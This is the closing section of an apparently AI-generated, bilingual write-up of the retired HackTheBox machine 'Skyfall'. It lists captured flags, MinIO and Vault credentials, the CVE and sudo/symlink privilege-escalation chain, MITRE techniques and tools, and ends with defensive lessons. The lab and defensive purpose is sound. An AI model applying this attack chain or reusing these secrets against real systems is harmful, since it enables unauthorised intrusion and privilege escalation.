Short chain, lean loot — every credential and token is throwaway (retired box).

tipotype quêwhat de ondesource
flag · user 0b6ea4956885165c8973ed13ce3e5389 /home/askyy/user.txt · ssh via Vault SSH OTP
flag · root 540b567974a57441bb90eb6810584ca4 /root/root.txt · ssh via Vault admin OTP
password guest / guest login default em demo.skyfall.htb
minio root 5GrE1B2YGGyZzNHZaIww / GkpjkmiVmpFuL2d3oRx0 CVE-2023-28432 · /minio/bootstrap/v1/verify
vault token askyy · hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE S3 bucket askyy/home_backup.tar.gz v2 · .bashrc
vault master hvs.I0ewVsmaKU1SwVZAKR3T0mmG vault-unseal -d debug output (race condition)
backup askyy/home_backup.tar.gz · 2 versões MinIO bucket admin access
binary /root/vault/vault-unseal sudo NOPASSWD inspection
▸ [10 · ttps] técnicas · ferramentas techniques · toolkit

mitre att&ck
T1595.002active scanning · vuln scanning T1190exploit public-facing application T1078.001valid accounts · default T1213.002data from information repositories · S3 T1552.001credentials in files · .bashrc T1556.006multi-factor authentication interception · Vault OTP T1068exploitation for privilege escalation T1548.003abuse elevation · sudo · symlink TOCTOU T1546.004event-triggered execution · update-motd.d T1090proxy · SSRF as oracle
toolkit
nmap 7.95 ffuf 2.1 curl 8.5 jq 1.7 mc · MinIO client aws-cli 2.x vault 1.15 sshpass openssh 9.6
▸ [11 · aprendizado][11 · lessons] três lições que essa box ensina three lessons this box teaches

lição · 01

erros verbosos viram oráculos — sempre

verbose errors become oracles — every time

SSRF é uma classe que muda de "rumor" pra "fato confirmado" quando o servidor devolve a exceção literal. urllib3, requests, axios, fetch — qualquer biblioteca HTTP por padrão lança erros com host, porta, tipo de falha. Aplicações que servem essas mensagens raw viram port scanner remoto. Em produção: try/except wrap em torno de toda chamada HTTP que recebe input do usuário, e devolver erro genérico ("upstream unreachable") em vez do trace.

SSRF moves from "rumor" to "confirmed fact" the moment the server returns the raw exception. urllib3, requests, axios, fetch — every HTTP library throws errors carrying host, port, and failure type by default. Apps that surface those messages raw become a remote port scanner. In production: try/except around every HTTP call that consumes user input, and return a generic error ("upstream unreachable") instead of the trace.

lição · 02

URL parser diff é vulnerabilidade evergreen

URL parser diff is an evergreen vulnerability

nginx, HAProxy, Cloudflare, AWS ALB, Caddy — todos os reverse proxies têm parsers de URL sutilmente diferentes dos backends Python/Node/Go/Java. %0a, %2f, %09, dupla decodificação, fragment handling: cada combinação é potencial bypass. Defesa correta: regras de autorização sempre no backend, não na borda. O proxy deve só rotear e fazer rate-limit, autenticação fica no app — que decide com path normalizado em mãos.

nginx, HAProxy, Cloudflare, AWS ALB, Caddy — every reverse proxy has URL parsers subtly different from Python/Node/Go/Java backends. %0a, %2f, %09, double-encoding, fragment handling: every combination is a potential bypass. Correct defense: authorization rules belong in the backend, not at the edge. The proxy should only route and rate-limit; auth lives in the app — which decides with the normalized path in hand.

lição · 03

debug flag em produção é loaded gun

debug flag in production is a loaded gun

Skyfall encadeia três anti-patterns relacionados: (a) binário custom com flag -d que dumpa secrets, (b) esse binário em sudoers com wildcard de args (*), (c) escrita relativa ao CWD sem O_NOFOLLOW. Cada um sozinho é mau hardening; juntos é root direto. Mitigação genérica: sudoers nunca com wildcard livre — sempre exact args (/bin/foo arg1 arg2). Binários privilegiados nunca devem aceitar paths relativos. Debug flags nunca em prod (gate via env var de build, não runtime).

Skyfall chains three related anti-patterns: (a) custom binary with a -d flag that dumps secrets, (b) said binary in sudoers with an args wildcard (*), (c) relative-path writes without O_NOFOLLOW. Each is bad hardening alone; together they're direct root. Generic mitigation: sudoers never with a free wildcard — always exact args (/bin/foo arg1 arg2). Privileged binaries must never accept relative paths. Debug flags don't live in prod (gate them with a build env var, not runtime).

▸ [12 · próxima box][12 · next box] variantes & próximos alvos variants & next targets

Se você terminou Skyfall e quer treinar conceitos isolados antes da próxima Insane:

If you've finished Skyfall and want to drill isolated concepts before another Insane:

Bucketmedium · linux

AWS S3 + DynamoDB local — pra fixar enumeração de buckets, listagem com versioning, e o padrão de "backup em bucket público" sem precisar de CVE.

AWS S3 + DynamoDB local — to drill bucket enumeration, listing with versioning, and the "backup in a public bucket" pattern without needing a CVE.

Editorialeasy · linux

SSRF clássica em uploader de imagens via URL. Sem error oracle — você precisa enumerar às cegas. Bom contraste pra ver como o oráculo de Skyfall é luxo.

Classic SSRF in an image uploader by URL. No error oracle — you have to enumerate blind. Good contrast for seeing how the Skyfall oracle is a luxury.

Vault Hashicorp Tryhackmehard · linux

Lab focado só em Vault — SSH secrets engine, policies, ACLs, OTP roles. Pra entender profundamente porque o token do askyy não conseguia gerar OTP de root.

Lab focused on Vault alone — SSH secrets engine, policies, ACLs, OTP roles. To understand deeply why askyy's token couldn't issue a root OTP on its own.

═════════════════════════════════════════════════════════════════════════
::  ARES :: red team machine // offensive division // vultus cyber   ::
::  skyfall · linux · INSANE · 8 saltos · ROOTED in 00:34            ::
═════════════════════════════════════════════════════════════════════════
  
// write-up gerado por// write-up generated by ARES · your friendly neighborhood redteam bot · vultus offensive division
[ session #0x4A5E2D09 · 2026·05·24 · 105 tool calls · 4 findings · 0 dead ends · model: claude-opus-4-7 ]